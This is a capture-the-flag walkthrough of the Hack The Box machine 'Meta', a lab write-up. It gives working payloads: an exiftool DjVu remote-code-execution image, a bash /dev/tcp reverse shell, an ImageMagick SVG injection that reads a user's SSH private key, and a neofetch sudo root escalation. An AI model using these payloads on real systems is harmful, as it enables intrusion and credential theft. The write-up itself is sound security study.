Skip to content


Nmap scan

As usual let's launch a full port basic Nmap scan and then a more detailed one but only on open ports:

└─$ sudo nmap -p- --min-rate 1000
Starting Nmap 7.92 ( ) at 2022-05-29 04:16 EDT
Nmap scan report for
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 25.45 seconds
└─$ sudo nmap -p22,80 -sC -sV               
Starting Nmap 7.92 ( ) at 2022-05-29 04:18 EDT
Nmap scan report for
Host is up (0.051s latency).

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds

Just port 22 and 80 openned so let's start with the web server.

Artcorp Webpage

Initial Enumeration

First thing, the page is redirecting to http://artcorp.htb/ to added the domain to my /etc/hosts file in order to access.

Since the page looks pretty empty I launched a Gobuster directory scan to check for something useful:

└─$ gobuster dir -u http://artcorp.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://artcorp.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html
[+] Timeout:                 10s
2022/05/29 04:24:38 Starting gobuster in directory enumeration mode
/index.html           (Status: 200) [Size: 4427]
/assets               (Status: 301) [Size: 234] [--> http://artcorp.htb/assets/]
/css                  (Status: 301) [Size: 231] [--> http://artcorp.htb/css/]   

2022/05/29 04:29:10 Finished

No luck there but what about virtual hosts?

└─$ gobuster vhost -u http://artcorp.htb/ -w ~/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://artcorp.htb/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /home/kali/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2022/05/29 04:27:59 Starting gobuster in VHOST enumeration mode
Found: dev01.artcorp.htb (Status: 200) [Size: 247]

2022/05/29 04:30:01 Finished

There you go, adding the discovered subdomain to /etc/hosts file we are welcomed with a simple page that allow us to test application under development. Only one available, MetaView, the one the main page was talking about so let's take a look.


The application allow us to upload a file and the page will show the metada information of it. Trying to add metada to a JPG image I noticed that I could get XSS, not usefull but hey it is something:

exiftool -overwrite_original -artist="<h1>TEST</h1>" exploit.jpg

Also I tried to inject a PHP payload but looks like the application is filtering it out. I tried for a while and even though I was not able to bypass the filter I found something while I was crying:

The page output looks really like exiftool being used to get the metada information so, maybe this RCE exploit could work. I replicated the PoC and generated a malicious image exploit.jpg:

# Payload file
(metadata "\c${system('id')};")

# Compress the payload and create a DjVu image
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

#Create this configfile file for exiftool
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        # add more user-defined EXIF tags here...
1; #end%

# Using the configfile, inject the DjVu inside a JPG
exiftool -config configfile '-HasselbladExif<=exploit.djvu' -overwrite_original exploit.jpg

Uploading that file to the application will result in the id command being executed so we have RCE! We can now leverage this to get a reverse shell:

(metadata "\c${system('bash', '-c', 'bash -i >& /dev/tcp/ 0>&1')};")

In the machine as www-data

Using Pspy64 I saw that there are some funny things going on here:

2022/05/29 08:08:01 CMD: UID=0    PID=15560  | /bin/sh -c rm /tmp/* 
2022/05/29 08:08:01 CMD: UID=0    PID=15564  | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf 
2022/05/29 08:08:01 CMD: UID=1000 PID=15563  | /usr/local/bin/mogrify -format png *.* 
2022/05/29 08:08:01 CMD: UID=1000 PID=15561  | /bin/bash /usr/local/bin/ 
2022/05/29 08:08:01 CMD: UID=1000 PID=15566  | pkill mogrify

Looks like the user 1000 (thomas), is running this script as a Cronjob:

cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

And also that the box love to delete things and move stuff around, this cost me some hours to be honest. Researchin about that mogrify thing I found this blog about a vulnerability that can be used to inject commands using a malicious SVG file, this the one I used:

<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa)> /home/thomas/0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="" xmlns:xlink="">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>

At first I tested this trying to write the command output to the /tmp folder but thanks to the box cleaning up stuff I wasted a lot of time "debugging" something that was working. At the end I came up with the above payload and I was able to get the private key of the user, it needed some formatting but I got an SSH session with it at the end.

In the machine as thomas

First of all, get the user flag under /home/thomas/user.txt.

2022/05/29 08:08:01 CMD: UID=0    PID=15564  | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf 

Then I found something interesting:

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

Looks like this user is able to execute the neofetch command as root. According with the research I made, we can use this to get a shell as root using a configuration file with this content:

exec /bin/sh

The problem is that we can't specify a custom configuration file in the command but we can use the XDG_CONFIG_HOME environment variable. According to the documentation, Neofetch will use the file under $XDG_CONFIG_HOME/neofetch/config.conf and sudo is also configured to keep the XDG_CONFIG_HOME variable if present.

With that information, I created /home/thomas/neofetch/config.conf and got a root shell:

thomas@meta:~$ cat neofetch/config.conf 
exec /bin/sh
thomas@meta:~$ sudo XDG_CONFIG_HOME=$HOME /usr/bin/neofetch 
# id
uid=0(root) gid=0(root) groups=0(root)

The root flag is under /root/root.txt.

Back to top